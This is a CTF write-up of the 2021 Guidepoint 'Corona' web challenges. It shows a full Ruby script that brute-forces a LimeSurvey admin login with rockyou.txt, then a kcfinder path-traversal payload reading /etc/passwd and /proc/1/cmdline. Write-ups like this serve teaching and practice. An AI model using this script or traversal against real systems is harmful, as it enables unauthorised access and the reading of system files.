Guidepoint Security CTF 2021 - Corona (web)
Corona 1
The page for this challenge is a limesurvey instance. I’m not very familiar with limesurvey, but from the design it looked like it might be a pretty old version of the application, hinting that there might be a known bug with this application. A quick searchsploit limesurvey
showed a bunch of known flaws for older versions, but at this point we were not entirely sure what version was running yet.
Looking through the known vulnerabilities it seems like most of them were for cross-site scripting, which in our case is probably not that useful. Two known vulnerabilities stood out, an RCE and a path traversal bug, both of which could be useful for us.
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
LimeSurvey (PHPSurveyor 1.91+ stable) - Blind | php/webapps/18508.txt
LimeSurvey (phpsurveyor) 1.49rc2 - Remote Fil | php/webapps/4156.txt
LimeSurvey 1.52 - 'language.php' Remote File | php/webapps/4544.txt
LimeSurvey 1.85+ - 'admin.php' Cross-Site Scr | php/webapps/35787.txt
LimeSurvey 1.92+ build120620 - Multiple Vulne | php/webapps/19330.txt
LimeSurvey 2.00+ (build 131107) - Multiple Vu | php/webapps/29789.txt
LimeSurvey 3.17.13 - Cross-Site Scripting | php/webapps/47386.txt
LimeSurvey 4.1.11 - 'File Manager' Path Trave | php/webapps/48297.txt
LimeSurvey 4.1.11 - 'Permission Roles' Persis | php/webapps/48523.txt
LimeSurvey 4.1.11 - 'Survey Groups' Persisten | php/webapps/48289.txt
LimeSurvey 4.3.10 - 'Survey Menu' Persistent | php/webapps/48762.txt
LimeSurvey < 3.16 - Remote Code Execution | php/webapps/46634.py
---------------------------------------------- ---------------------------------
Unfortunately they both require we already admin access to the limesurvey instance. But poking around and trying to hit some of the URLs for these bugs did lead me to the admin login page. After some trying (and failing) to do anything with the publicly accessible features of the site I decided to see if the login would bruteforcable. The page does include PHP session id and CSRF tokens, but from clicking around and trying a few passwords by hand these never seemed to change so brute forcing would probably be feasible. Since I didn’t really have any better ideas for what to try at this point I wrote a little script to try and brute force the admin password. You could do this with something like Hydra of course, but given the php session id and csrf token I figured it would be just as quick to write a script myself as it would be to figure out how to plug these values into hydra.
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
uri = URI('http://10.10.100.200:31773/index.php/admin/authentication/sa/login' )
cookie = 'PHPSESSID=6873ab9883c04b438d6c5fc1dc82c6f0; YII_CSRF_TOKEN=1be8e3aa433f40c59b88d37e34951e151afb6b8d'
postdata = [
'YII_CSRF_TOKEN=1be8e3aa433f40c59b88d37e34951e151afb6b8d&authMethod=Authdb&user=admin&password=',
'&loginlang=default&action=login&login_submit=Login'
]
def check_response(resp, pass)
if resp.code == '302'
if resp['location'].end_with? 'index.php/admin/authentication/sa/login'
# print '.'
else
puts "Found unexpected redirect target with #{pass}"
puts resp.inspect
puts resp['location']
end
else
puts "Found unexpected status code with: #{pass}"
puts resp.inspect
end
end
http = Net::HTTP.new(uri.host, uri.port)
req = Net::HTTP::Post.new(uri.path)
req['Cookie'] = cookie
IO.foreach(ARGV.first) do |pass|
pass.chomp!
req.body = "#{postdata[0]}#{pass}#{postdata[1]}"
resp = http.request(req)
check_response(resp, pass)
end
Since it was getting fairly late by this point I just set it to run through rockyou.txt
and went off to bed. By the morning the script had found baseball2
as the admin password and sure enough we could log in.
As mentioned before I am not at all familiar with Limesurvey so I started by just clicking around the interface and seeing what options we have. I quickly ran across an option to export the database, so I did that and got a neat SQL file. I did not notice this at the time, but the flag for Corona 1 is actually in the database dump you get, so let this be a lesson to always check your database dumps carefully. We’ll come back to how I eventually noticed the flag was in there at the end of Corona 2.
Corona 2
With admin access to the limesurvey instance under our belt it was time te explore some more options and see if any of the exploits we found earlier but needed admin access would work now that we had access. In short; No. I tried to fettle with the RCE exploit for some time, getting it to actually run to completion on our instance after some slight modifications but it seems our instance of limesurvey is just not vulnerable to this attack. The second interesting known exploit was a path traversal bug in a third party file browser component called kcfinder. I clicked around in the image and flash upload functions to ensure I had the right paths and a known good request to the file manager plugin and then applied the classic ../../../../../etc/passwd
test for path traversal with local file inclusion and to my surprise found the flag for Corona 2 was at the bottom of the file.
Reversing back to the corona 1 flag
At this point I had found the flag for corona 2 but had missed the flag for corona 1, so I started to poke around the filesystem with our LFI to see if I could find any clues. Since this is a docker container I looked at /proc/1/cmdline
and found that as part of the setup command for the docker container the flag for corona 1 was inserted into the database. Since I already had a database dump at this point it was just a matter of going back and actually looking at this dump to find the flag for corona 1 too.